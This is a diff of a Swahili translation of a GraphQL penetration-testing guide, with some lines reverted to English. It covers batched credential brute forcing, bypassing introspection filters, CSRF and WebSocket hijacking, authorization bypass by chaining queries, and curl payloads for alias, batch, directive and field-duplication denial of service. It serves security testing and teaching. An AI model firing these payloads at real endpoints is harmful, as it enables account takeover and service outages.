**Mabadiliko yanatumika kufanya mabadiliko katika upande wa seva.**
 | 
			
		||||
 | 
			
		||||
@ -289,7 +289,7 @@ Katika **introspection** unaweza kupata **mabadiliko** **iliyotangazwa**. Katika
 | 
			
		||||
 | 
			
		||||
.png>)
 | 
			
		||||
 | 
			
		||||
Katika mpangilio huu, **database** ina **watu** na **filamu**. **Watu** wanatambulika kwa **barua pepe** zao na **jina**; **filamu** kwa **jina** na **kadirio**. **Watu** wanaweza kuwa marafiki na kila mmoja na pia wana filamu, ikionyesha uhusiano ndani ya database.
 | 
			
		||||
Katika mpangilio huu, **database** ina **watu** na **filamu**. **Watu** wanatambulika kwa **barua pepe** zao na **majina**; **filamu** kwa **majina** yao na **kadirio**. **Watu** wanaweza kuwa marafiki na kila mmoja na pia wana filamu, ikionyesha uhusiano ndani ya database.
 | 
			
		||||
 | 
			
		||||
Mabadiliko ya **kuunda mpya** filamu ndani ya database yanaweza kuwa kama ifuatavyo (katika mfano huu mabadiliko yanaitwa `addMovie`):
 | 
			
		||||
```javascript
 | 
			
		||||
@ -302,7 +302,7 @@ rating
 | 
			
		||||
}
 | 
			
		||||
}
 | 
			
		||||
```
 | 
			
		||||
**Kumbuka jinsi thamani na aina ya data zinavyoonyeshwa katika uchunguzi.**
 | 
			
		||||
**Kumbuka jinsi thamani na aina ya data zinavyoonyeshwa katika ombi.**
 | 
			
		||||
 | 
			
		||||
Zaidi ya hayo, hifadhidata inasaidia operesheni ya **mutation**, inayoitwa `addPerson`, ambayo inaruhusu uundaji wa **persons** pamoja na uhusiano wao na **friends** na **movies** zilizopo. Ni muhimu kutambua kwamba marafiki na filamu lazima ziwepo tayari katika hifadhidata kabla ya kuziunganisha na mtu mpya aliyeundwa.
 | 
			
		||||
```javascript
 | 
			
		||||
@ -334,32 +334,32 @@ releaseYear
 | 
			
		||||
```
 | 
			
		||||
### Directive Overloading
 | 
			
		||||
 | 
			
		||||
Kama ilivyoelezwa katika [**moja ya vulns zilizoelezwa katika ripoti hii**](https://www.landh.tech/blog/20240304-google-hack-50000/), overload ya directive inamaanisha kuita directive hata mara milioni ili kufanya seva ipoteze operesheni hadi iwezekane kuifanya DoS.
 | 
			
		||||
Kama ilivyoelezwa katika [**moja ya vulns zilizoelezwa katika ripoti hii**](https://www.landh.tech/blog/20240304-google-hack-50000/), overload ya directive inamaanisha kuita directive hata mara milioni ili kufanya server itumie operesheni hadi iwezekane kuifanya DoS.
 | 
			
		||||
 | 
			
		||||
### Batching brute-force katika ombi 1 la API
 | 
			
		||||
 | 
			
		||||
Taarifa hii ilichukuliwa kutoka [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/).\
 | 
			
		||||
Uthibitishaji kupitia GraphQL API kwa **kutuma maswali mengi kwa wakati mmoja na akidi tofauti** ili kuyakagua. Ni shambulio la kawaida la brute force, lakini sasa inawezekana kutuma zaidi ya jozi moja ya kuingia/siri kwa kila ombi la HTTP kwa sababu ya kipengele cha batching cha GraphQL. Njia hii itawadanganya programu za nje za ufuatiliaji wa kiwango kufikiria kila kitu kiko sawa na hakuna bot ya brute-forcing inayojaribu kukisia nywila.
 | 
			
		||||
Uthibitishaji kupitia GraphQL API kwa **kutuma maswali mengi kwa wakati mmoja na akidi tofauti** ili kuyakagua. Ni shambulio la kawaida la brute force, lakini sasa inawezekana kutuma zaidi ya jozi moja ya login/password kwa kila ombi la HTTP kwa sababu ya kipengele cha batching cha GraphQL. Njia hii itawadanganya programu za nje za ufuatiliaji wa kiwango kufikiria kila kitu kiko sawa na hakuna bot ya brute-forcing inayojaribu kukisia nywila.
 | 
			
		||||
 | 
			
		||||
Hapa chini unaweza kupata onyesho rahisi la ombi la uthibitishaji wa programu, lenye **jozi 3 tofauti za barua pepe/siri kwa wakati mmoja**. Kwa wazi inawezekana kutuma maelfu katika ombi moja kwa njia ile ile:
 | 
			
		||||
Hapa chini unaweza kupata onyesho rahisi la ombi la uthibitishaji wa programu, na **jozi 3 tofauti za barua pepe/nywila kwa wakati mmoja**. Kwa wazi inawezekana kutuma maelfu katika ombi moja kwa njia ile ile:
 | 
			
		||||
 | 
			
		||||
.png>)
 | 
			
		||||
 | 
			
		||||
Kama tunavyoona kutoka kwenye picha ya majibu, maombi ya kwanza na ya tatu yalirudisha _null_ na kuonyesha taarifa zinazofaa katika sehemu ya _error_. **Mabadiliko ya pili yalikuwa na data sahihi ya uthibitishaji** na jibu lina tokeni sahihi ya kikao cha uthibitishaji.
 | 
			
		||||
Kama tunavyoona kutoka kwenye picha ya majibu, maombi ya kwanza na ya tatu yalirudisha _null_ na kuonyesha taarifa zinazohusiana katika sehemu ya _error_. **Mabadiliko ya pili yalikuwa na data sahihi ya uthibitishaji** na jibu lina token sahihi ya kikao cha uthibitishaji.
 | 
			
		||||
 | 
			
		||||
 (1).png>)
 | 
			
		||||
 | 
			
		||||
## GraphQL Bila Introspection
 | 
			
		||||
 | 
			
		||||
Zaidi na zaidi **mipaka ya graphql inazima introspection**. Hata hivyo, makosa ambayo graphql inatoa wakati ombi lisilotarajiwa linapokea yanatosha kwa zana kama [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) kuunda sehemu kubwa ya schema.
 | 
			
		||||
Zaidi na zaidi **mipango ya graphql inazima introspection**. Hata hivyo, makosa ambayo graphql inatoa wakati ombi lisilotarajiwa linapokea yanatosha kwa zana kama [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) kuunda sehemu kubwa ya schema.
 | 
			
		||||
 | 
			
		||||
Zaidi ya hayo, nyongeza ya Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) inachunguza **ombii za GraphQL API zinazopita Burp** na **kujenga** schema ya ndani ya GraphQL **na kila ombi jipya inaloona**. Inaweza pia kufichua schema kwa GraphiQL na Voyager. Nyongeza inarudisha jibu bandia inapopokea ombi la introspection. Kama matokeo, GraphQuail inaonyesha maswali yote, hoja, na maeneo yanayopatikana kwa matumizi ndani ya API. Kwa maelezo zaidi [**angalia hii**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
 | 
			
		||||
Zaidi ya hayo, nyongeza ya Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) inachunguza **maombi ya GraphQL API yanayopita kupitia Burp** na **kujenga** schema ya ndani ya GraphQL **na kila swali jipya inaloona**. Inaweza pia kufichua schema kwa GraphiQL na Voyager. Nyongeza inarudisha jibu bandia inapopokea ombi la introspection. Kama matokeo, GraphQuail inaonyesha maswali yote, hoja, na maeneo yanayopatikana kwa matumizi ndani ya API. Kwa maelezo zaidi [**angalia hii**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
 | 
			
		||||
 | 
			
		||||
Orodha nzuri ya **maneno** kugundua [**vitu vya GraphQL inaweza kupatikana hapa**](https://github.com/Escape-Technologies/graphql-wordlist?).
 | 
			
		||||
 | 
			
		||||
### Kupita ulinzi wa introspection wa GraphQL <a href="#bypassing-graphql-introspection-defences" id="bypassing-graphql-introspection-defences"></a>
 | 
			
		||||
 | 
			
		||||
Ili kupita vizuizi kwenye maswali ya introspection katika APIs, kuingiza **herufi maalum baada ya neno la `__schema`** kunaonekana kuwa na ufanisi. Njia hii inatumia makosa ya kawaida ya waendelezaji katika mifumo ya regex ambayo inakusudia kuzuia introspection kwa kuzingatia neno la `__schema`. Kwa kuongeza herufi kama **nafasi, mistari mipya, na alama za koma**, ambazo GraphQL inapuuzilia mbali lakini huenda hazikuhesabiwa katika regex, vizuizi vinaweza kupitishwa. Kwa mfano, ombi la introspection lenye mstari mpya baada ya `__schema` linaweza kupita ulinzi kama huo:
 | 
			
		||||
Ili kupita vizuizi kwenye maswali ya introspection katika APIs, kuingiza **herufi maalum baada ya neno la `__schema`** kunaonekana kuwa na ufanisi. Njia hii inatumia makosa ya kawaida ya waendelezaji katika mifumo ya regex ambayo inakusudia kuzuia introspection kwa kuzingatia neno la `__schema`. Kwa kuongeza herufi kama **nafasi, mistari mipya, na alama za koma**, ambazo GraphQL inapuuzilia mbali lakini huenda hazijazingatiwa katika regex, vizuizi vinaweza kupitishwa. Kwa mfano, ombi la introspection lenye mstari mpya baada ya `__schema` linaweza kupita ulinzi kama huo:
 | 
			
		||||
```bash
 | 
			
		||||
# Example with newline to bypass
 | 
			
		||||
{
 | 
			
		||||
@ -395,9 +395,9 @@ payload: GQL_CALL,
 | 
			
		||||
ws.send(JSON.stringify(graphqlMsg))
 | 
			
		||||
}
 | 
			
		||||
```
 | 
			
		||||
### **Kugundua Miundo ya GraphQL Iliyo wazi**
 | 
			
		||||
### **Kugundua Miundo ya GraphQL Iliyofichuliwa**
 | 
			
		||||
 | 
			
		||||
Wakati uchunguzi umezimwa, kuchunguza msimbo wa chanzo wa tovuti kwa ajili ya maswali yaliyoandaliwa mapema katika maktaba za JavaScript ni mkakati mzuri. Maswali haya yanaweza kupatikana kwa kutumia kichupo cha `Sources` katika zana za maendeleo, na kutoa maarifa kuhusu muundo wa API na kufichua **maswali nyeti yaliyo wazi**. Amri za kutafuta ndani ya zana za maendeleo ni:
 | 
			
		||||
When introspection is disabled, examining the website's source code for preloaded queries in JavaScript libraries is a useful strategy. These queries can be found using the `Sources` tab in developer tools, providing insights into the API's schema and revealing potentially **exposed sensitive queries**. The commands to search within the developer tools are:
 | 
			
		||||
```javascript
 | 
			
		||||
Inspect/Sources/"Search all files"
 | 
			
		||||
file:* mutation
 | 
			
		||||
@ -417,23 +417,23 @@ Kumbuka kwamba maombi ya GraphQL kwa kawaida hutumwa kupitia maombi ya POST kwa
 | 
			
		||||
```javascript
 | 
			
		||||
{"operationName":null,"variables":{},"query":"{\n  user {\n    firstName\n    __typename\n  }\n}\n"}
 | 
			
		||||
```
 | 
			
		||||
Hata hivyo, sehemu nyingi za GraphQL pia zinaunga mkono **`form-urlencoded` POST requests:**
 | 
			
		||||
Hata hivyo, sehemu nyingi za GraphQL pia zinasaidia **`form-urlencoded` POST requests:**
 | 
			
		||||
```javascript
 | 
			
		||||
query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
 | 
			
		||||
```
 | 
			
		||||
Kwa hivyo, kama maombi ya CSRF kama yale ya awali yanatumwa **bila maombi ya preflight**, inawezekana **kufanya** **mabadiliko** katika GraphQL kwa kutumia CSRF.
 | 
			
		||||
 | 
			
		||||
Hata hivyo, kumbuka kwamba thamani mpya ya default ya kuki ya lippu ya `samesite` ya Chrome ni `Lax`. Hii inamaanisha kwamba kuki itatumwa tu kutoka kwa wavuti ya upande wa tatu katika maombi ya GET.
 | 
			
		||||
Hata hivyo, kumbuka kwamba thamani mpya ya default ya cookie ya lippu ya `samesite` ya Chrome ni `Lax`. Hii inamaanisha kwamba cookie itatumwa tu kutoka kwa wavuti ya upande wa tatu katika maombi ya GET.
 | 
			
		||||
 | 
			
		||||
Kumbuka kwamba kwa kawaida inawezekana kutuma **maombi ya** **query** pia kama **maombi ya GET na tokeni ya CSRF inaweza isithibitishwe katika ombi la GET.**
 | 
			
		||||
Kumbuka kwamba kwa kawaida inawezekana kutuma **maombi** ya **query** pia kama **maombi ya GET** na tokeni ya CSRF inaweza isithibitishwe katika maombi ya GET. 
 | 
			
		||||
 | 
			
		||||
Pia, kutumia [**XS-Search**](../../pentesting-web/xs-search/) **shambulio** inaweza kuwa inawezekana kutoa maudhui kutoka kwa kiunganishi cha GraphQL kwa kutumia akidi za mtumiaji.
 | 
			
		||||
Pia, kutumia [**XS-Search**](../../pentesting-web/xs-search/index.html) **shambulio** inaweza kuwa inawezekana kutoa maudhui kutoka kwa kiunganishi cha GraphQL kwa kutumia akidi za mtumiaji.
 | 
			
		||||
 | 
			
		||||
Kwa maelezo zaidi **angalia** [**posti ya asili hapa**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html).
 | 
			
		||||
Kwa maelezo zaidi **angalia** [**post ya asili hapa**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html).
 | 
			
		||||
 | 
			
		||||
## Utekaji wa WebSocket wa Tovuti Mbalimbali katika GraphQL
 | 
			
		||||
## Utekaji wa WebSocket wa tovuti tofauti katika GraphQL
 | 
			
		||||
 | 
			
		||||
Kama ilivyo kwa udhaifu wa CRSF unaotumia graphQL, pia inawezekana kufanya **utekaji wa WebSocket wa Tovuti Mbalimbali ili kutumia uthibitisho na GraphQL kwa kuki zisizo na ulinzi** na kumfanya mtumiaji afanye vitendo visivyotarajiwa katika GraphQL.
 | 
			
		||||
Kama ilivyo na udhaifu wa CRSF unaotumia graphQL, pia inawezekana kufanya **utekaji wa WebSocket wa tovuti tofauti ili kutumia uthibitishaji na GraphQL kwa kutumia cookies zisizo na ulinzi** na kumfanya mtumiaji afanye vitendo visivyotarajiwa katika GraphQL.
 | 
			
		||||
 | 
			
		||||
Kwa maelezo zaidi angalia:
 | 
			
		||||
 | 
			
		||||
@ -443,7 +443,7 @@ Kwa maelezo zaidi angalia:
 | 
			
		||||
 | 
			
		||||
## Uidhinishaji katika GraphQL
 | 
			
		||||
 | 
			
		||||
Mifumo mingi ya GraphQL iliyofafanuliwa kwenye kiunganishi inaweza kuangalia tu uthibitisho wa mombaji lakini si uidhinishaji.
 | 
			
		||||
Mifumo mingi ya GraphQL iliyofafanuliwa kwenye kiunganishi inaweza kuangalia tu uthibitishaji wa mombaji lakini si uidhinishaji.
 | 
			
		||||
 | 
			
		||||
Kubadilisha vigezo vya ingizo la query kunaweza kusababisha maelezo nyeti ya akaunti [kuvuja](https://hackerone.com/reports/792927).
 | 
			
		||||
 | 
			
		||||
@ -455,23 +455,23 @@ Mabadiliko yanaweza hata kusababisha kuchukuliwa kwa akaunti kwa kujaribu kubadi
 | 
			
		||||
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
 | 
			
		||||
}
 | 
			
		||||
```
 | 
			
		||||
### Kupita idhini katika GraphQL
 | 
			
		||||
### Bypass authorization in GraphQL
 | 
			
		||||
 | 
			
		||||
[Kuunganisha maswali](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) pamoja kunaweza kupita mfumo dhaifu wa uthibitishaji.
 | 
			
		||||
[Chaining queries](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) pamoja inaweza kupita mfumo dhaifu wa uthibitishaji.
 | 
			
		||||
 | 
			
		||||
Katika mfano ulio hapa chini unaweza kuona kwamba operesheni ni "forgotPassword" na inapaswa kutekeleza tu swali la forgotPassword lililohusishwa nalo. Hii inaweza kupitishwa kwa kuongeza swali mwishoni, katika kesi hii tunaongeza "register" na kigezo cha mtumiaji kwa mfumo kujiandikisha kama mtumiaji mpya.
 | 
			
		||||
Katika mfano ulio hapa chini unaweza kuona kwamba operesheni ni "forgotPassword" na inapaswa tu kutekeleza ombi la forgotPassword lililohusishwa nalo. Hii inaweza kupitishwa kwa kuongeza ombi mwishoni, katika kesi hii tunaongeza "register" na kigezo cha mtumiaji kwa mfumo kujiandikisha kama mtumiaji mpya.
 | 
			
		||||
 | 
			
		||||
<figure><img src="../../images/GraphQLAuthBypassMethod.PNG" alt=""><figcaption></figcaption></figure>
 | 
			
		||||
 | 
			
		||||
## Kupita Mipaka ya Kiwango kwa Kutumia Aliases katika GraphQL
 | 
			
		||||
## Bypassing Rate Limits Using Aliases in GraphQL
 | 
			
		||||
 | 
			
		||||
Katika GraphQL, aliases ni kipengele chenye nguvu kinachoruhusu **kupewa majina mali wazi** unapofanya ombi la API. Uwezo huu ni muhimu sana kwa kupata **mifano mingi ya aina moja** ya kitu ndani ya ombi moja. Aliases zinaweza kutumika kushinda kikomo kinachozuia vitu vya GraphQL kuwa na mali nyingi zenye jina moja.
 | 
			
		||||
Katika GraphQL, aliases ni kipengele chenye nguvu ambacho kinaruhusu **kupewa majina ya mali kwa uwazi** unapofanya ombi la API. Uwezo huu ni muhimu sana kwa kupata **mfano mwingi wa aina moja** ya kitu ndani ya ombi moja. Aliases zinaweza kutumika kushinda kikomo ambacho kinazuia vitu vya GraphQL kuwa na mali nyingi zenye jina moja.
 | 
			
		||||
 | 
			
		||||
Kwa ufahamu wa kina wa aliases za GraphQL, rasilimali ifuatayo inapendekezwa: [Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases).
 | 
			
		||||
 | 
			
		||||
Ingawa kusudi kuu la aliases ni kupunguza hitaji la simu nyingi za API, matumizi yasiyokusudiwa yamegundulika ambapo aliases zinaweza kutumika kutekeleza mashambulizi ya nguvu ya kikatili kwenye kiunganishi cha GraphQL. Hii inawezekana kwa sababu baadhi ya viunganishi vinahifadhiwa na wapunguza kiwango vilivyoundwa kuzuia mashambulizi ya nguvu ya kikatili kwa kupunguza **idadi ya maombi ya HTTP**. Hata hivyo, wapunguza kiwango hawawezi kuzingatia idadi ya operesheni ndani ya kila ombi. Kwa kuwa aliases zinaruhusu kujumuisha maswali mengi katika ombi moja la HTTP, zinaweza kupita hatua kama hizo za kupunguza kiwango.
 | 
			
		||||
Ingawa kusudi kuu la aliases ni kupunguza hitaji la simu nyingi za API, matumizi yasiyokusudiwa yamegundulika ambapo aliases zinaweza kutumika kutekeleza mashambulizi ya nguvu ya kikatili kwenye kiunganishi cha GraphQL. Hii inawezekana kwa sababu baadhi ya viunganishi vinahifadhiwa na vikwazo vya kiwango vya kiwango vinavyokusudia kuzuia mashambulizi ya nguvu ya kikatili kwa kupunguza **idadi ya maombi ya HTTP**. Hata hivyo, vikwazo hivi vya kiwango vinaweza kutokuweka akilini idadi ya operesheni ndani ya kila ombi. Kwa kuwa aliases zinaruhusu kujumuisha maombi mengi katika ombi moja la HTTP, zinaweza kupita hatua kama hizo za kupunguza kiwango.
 | 
			
		||||
 | 
			
		||||
Fikiria mfano uliopewa hapa chini, unaoonyesha jinsi maswali yaliyo na alias yanaweza kutumika kuthibitisha uhalali wa nambari za punguzo za duka. Njia hii inaweza kupita mipaka ya kiwango kwani inakusanya maswali kadhaa katika ombi moja la HTTP, ikiruhusu kuthibitisha nambari nyingi za punguzo kwa wakati mmoja.
 | 
			
		||||
Fikiria mfano uliopewa hapa chini, unaoonyesha jinsi maombi yaliyopewa jina yanaweza kutumika kuthibitisha uhalali wa nambari za punguzo za duka. Njia hii inaweza kupita vikwazo vya kiwango kwani inakusanya maombi kadhaa katika ombi moja la HTTP, ikiruhusu kuthibitisha nambari nyingi za punguzo kwa wakati mmoja.
 | 
			
		||||
```bash
 | 
			
		||||
# Example of a request utilizing aliased queries to check for valid discount codes
 | 
			
		||||
query isValidDiscount($code: Int) {
 | 
			
		||||
@ -490,18 +490,18 @@ valid
 | 
			
		||||
 | 
			
		||||
### Kupakia Majina
 | 
			
		||||
 | 
			
		||||
**Kupakia Majina** ni udhaifu wa GraphQL ambapo washambuliaji wanapakia ombi kwa majina mengi kwa ajili ya uwanja mmoja, na kusababisha mchakato wa nyuma kutekeleza uwanja huo mara kwa mara. Hii inaweza kuzidisha rasilimali za seva, na kusababisha **Denial of Service (DoS)**. Kwa mfano, katika ombi hapa chini, uwanja ule ule (`expensiveField`) unahitajika mara 1,000 kwa kutumia majina, na kulazimisha mchakato wa nyuma kuuhesabu mara 1,000, ambayo inaweza kuchosha CPU au kumbukumbu:
 | 
			
		||||
**Kupakia Majina** ni udhaifu wa GraphQL ambapo washambuliaji wanapakia ombi kwa majina mengi kwa ajili ya uwanja mmoja, na kusababisha mchakato wa nyuma kutekeleza uwanja huo mara kwa mara. Hii inaweza kuzidisha rasilimali za seva, na kusababisha **Denial of Service (DoS)**. Kwa mfano, katika ombi lililo hapa chini, uwanja sawa (`expensiveField`) unahitajika mara 1,000 kwa kutumia majina, na kulazimisha mchakato wa nyuma kuhesabu mara 1,000, ambayo inaweza kuchosha CPU au kumbukumbu:
 | 
			
		||||
```graphql
 | 
			
		||||
# Test provided by https://github.com/dolevf/graphql-cop
 | 
			
		||||
curl -X POST -H "Content-Type: application/json" \
 | 
			
		||||
-d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \
 | 
			
		||||
'https://example.com/graphql'
 | 
			
		||||
```
 | 
			
		||||
Ili kupunguza hili, tekeleza mipaka ya idadi ya alias, uchambuzi wa ugumu wa swali, au mipaka ya kiwango ili kuzuia matumizi mabaya ya rasilimali.
 | 
			
		||||
Ili kupunguza hili, tekeleza mipaka ya idadi ya alias, uchambuzi wa ugumu wa maswali, au mipaka ya kiwango ili kuzuia matumizi mabaya ya rasilimali.
 | 
			
		||||
 | 
			
		||||
### **Array-based Query Batching**
 | 
			
		||||
 | 
			
		||||
**Array-based Query Batching** ni udhaifu ambapo API ya GraphQL inaruhusu kuunganisha maswali mengi katika ombi moja, ikimuwezesha mshambuliaji kutuma idadi kubwa ya maswali kwa wakati mmoja. Hii inaweza kujaa nyuma kwa kutekeleza maswali yote yaliyounganishwa kwa wakati mmoja, ikitumia rasilimali nyingi (CPU, kumbukumbu, muunganisho wa hifadhidata) na kwa uwezekano kusababisha **Denial of Service (DoS)**. Ikiwa hakuna kikomo kilichopo kwenye idadi ya maswali katika kundi, mshambuliaji anaweza kutumia hili kudhoofisha upatikanaji wa huduma.
 | 
			
		||||
**Array-based Query Batching** ni udhaifu ambapo API ya GraphQL inaruhusu kuunganisha maswali mengi katika ombi moja, ikimuwezesha mshambuliaji kutuma idadi kubwa ya maswali kwa wakati mmoja. Hii inaweza kujaa nyuma kwa kutekeleza maswali yote yaliyounganishwa kwa wakati mmoja, ikitumia rasilimali nyingi (CPU, kumbukumbu, muunganisho wa hifadhidata) na kwa uwezekano kusababisha **Denial of Service (DoS)**. Ikiwa hakuna kikomo kwenye idadi ya maswali katika kundi, mshambuliaji anaweza kutumia hili kudhoofisha upatikanaji wa huduma.
 | 
			
		||||
```graphql
 | 
			
		||||
# Test provided by https://github.com/dolevf/graphql-cop
 | 
			
		||||
curl -X POST -H "User-Agent: graphql-cop/1.13" \
 | 
			
		||||
@ -511,9 +511,9 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" \
 | 
			
		||||
```
 | 
			
		||||
Katika mfano huu, maswali 10 tofauti yanakusanywa katika ombi moja, yakilazimisha seva kutekeleza yote kwa wakati mmoja. Ikiwa itatumika kwa ukubwa mkubwa wa kundi au maswali yanayohitaji rasilimali nyingi, inaweza kuleta mzigo kwa seva.
 | 
			
		||||
 | 
			
		||||
### **Udhaifu wa Kuongeza Maagizo**
 | 
			
		||||
### **Udhaifu wa Kupita Mipango ya Maagizo**
 | 
			
		||||
 | 
			
		||||
**Udhaifu wa Kuongeza Maagizo** hutokea wakati seva ya GraphQL inaruhusu maswali yenye maagizo mengi, yaliyorudiwa. Hii inaweza kuleta mzigo kwa parser na executor wa seva, hasa ikiwa seva inashughulikia mara kwa mara mantiki ile ile ya maagizo. Bila uthibitisho au mipaka sahihi, mshambuliaji anaweza kutumia hii kwa kuunda swali lenye maagizo mengi yaliyorudiwa ili kusababisha matumizi makubwa ya rasilimali au kumbukumbu, na kusababisha **Denial of Service (DoS)**.
 | 
			
		||||
**Kupita Mipango ya Maagizo** hutokea wakati seva ya GraphQL inaruhusu maswali yenye maagizo mengi, yaliyorudiwa. Hii inaweza kuleta mzigo kwa parser na mtendaji wa seva, hasa ikiwa seva inashughulikia mara kwa mara mantiki ile ile ya maagizo. Bila uthibitisho sahihi au mipaka, mshambuliaji anaweza kutumia hii kwa kuunda swali lenye maagizo mengi yaliyorudiwa ili kusababisha matumizi makubwa ya rasilimali au kumbukumbu, na kusababisha **Denial of Service (DoS)**.
 | 
			
		||||
```bash
 | 
			
		||||
# Test provided by https://github.com/dolevf/graphql-cop
 | 
			
		||||
curl -X POST -H "User-Agent: graphql-cop/1.13" \
 | 
			
		||||
@ -521,7 +521,7 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" \
 | 
			
		||||
-d '{"query": "query cop { __typename @aa@aa@aa@aa@aa@aa@aa@aa@aa@aa }", "operationName": "cop"}' \
 | 
			
		||||
'https://example.com/graphql'
 | 
			
		||||
```
 | 
			
		||||
Kumbuka kwamba katika mfano uliopita `@aa` ni mwelekeo wa kawaida ambao **huenda usijulikane**. Mwelekeo wa kawaida ambao mara nyingi upo ni **`@include`**:
 | 
			
		||||
Kumbuka kwamba katika mfano uliopita `@aa` ni mwelekeo wa kawaida ambao **huenda usijatangazwe**. Mwelekeo wa kawaida ambao mara nyingi upo ni **`@include`**:
 | 
			
		||||
```bash
 | 
			
		||||
curl -X POST \
 | 
			
		||||
-H "Content-Type: application/json" \
 | 
			
		||||
@ -539,7 +539,7 @@ Na kisha **tumia baadhi ya zile za kawaida**.
 | 
			
		||||
 | 
			
		||||
### **Uthibitisho wa Ukarabati wa Uwanja**
 | 
			
		||||
 | 
			
		||||
**Ukarabati wa Uwanja** ni udhaifu ambapo seva ya GraphQL inaruhusu maswali yenye uwanja sawa kurudiwa mara nyingi. Hii inamfanya seva kutatua uwanja kwa njia isiyo ya lazima kwa kila mfano, ikitumia rasilimali nyingi (CPU, kumbukumbu, na simu za hifadhidata). Mshambuliaji anaweza kuunda maswali yenye mikoa mia au maelfu ya viwanja vilivyorejelewa, na kusababisha mzigo mkubwa na huenda ikasababisha **Ukatishaji wa Huduma (DoS)**.
 | 
			
		||||
**Ukarabati wa Uwanja** ni udhaifu ambapo seva ya GraphQL inaruhusu maswali yenye uwanja sawa kurudiwa mara nyingi. Hii inamfanya seva kutatua uwanja huo kwa njia isiyo ya lazima kwa kila mfano, ikitumia rasilimali nyingi (CPU, kumbukumbu, na simu za hifadhidata). Mshambuliaji anaweza kuunda maswali yenye mikoa mia au maelfu ya viwanja vilivyorejelewa, na kusababisha mzigo mkubwa na huenda ikasababisha **Kukataa kwa Huduma (DoS)**.
 | 
			
		||||
```bash
 | 
			
		||||
# Test provided by https://github.com/dolevf/graphql-cop
 | 
			
		||||
curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \
 | 
			
		||||
@ -550,16 +550,16 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
 | 
			
		||||
 | 
			
		||||
### Vulnerability scanners
 | 
			
		||||
 | 
			
		||||
- [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): Jaribu mipangilio ya kawaida isiyo sahihi ya graphql endpoints
 | 
			
		||||
- [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): Skripti ya ukaguzi wa usalama wa GraphQL yenye lengo la kufanya maswali na mabadiliko ya kundi ya GraphQL.
 | 
			
		||||
- [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): Jaribu makosa ya kawaida ya usanidi wa mwisho wa graphql
 | 
			
		||||
- [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): Skripti ya ukaguzi wa usalama wa GraphQL yenye lengo la kufanya maswali na mabadiliko ya GraphQL kwa kundi.
 | 
			
		||||
- [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Tambua fingerprint ya graphql inayotumika
 | 
			
		||||
- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Zana inayoweza kutumika kukamata schemas na kutafuta data nyeti, kujaribu idhini, nguvu za kikatili schemas, na kupata njia za aina fulani.
 | 
			
		||||
- [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Inaweza kutumika kama standalone au [Burp extension](https://github.com/doyensec/inql).
 | 
			
		||||
- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Inaweza kutumika kama mteja wa CLI pia kuendesha mashambulizi
 | 
			
		||||
- [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Zana inayoorodhesha njia tofauti za **kufikia aina fulani katika schema ya GraphQL**.
 | 
			
		||||
- [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): Mfuasi wa Standalone na CLI Modes ya InQL
 | 
			
		||||
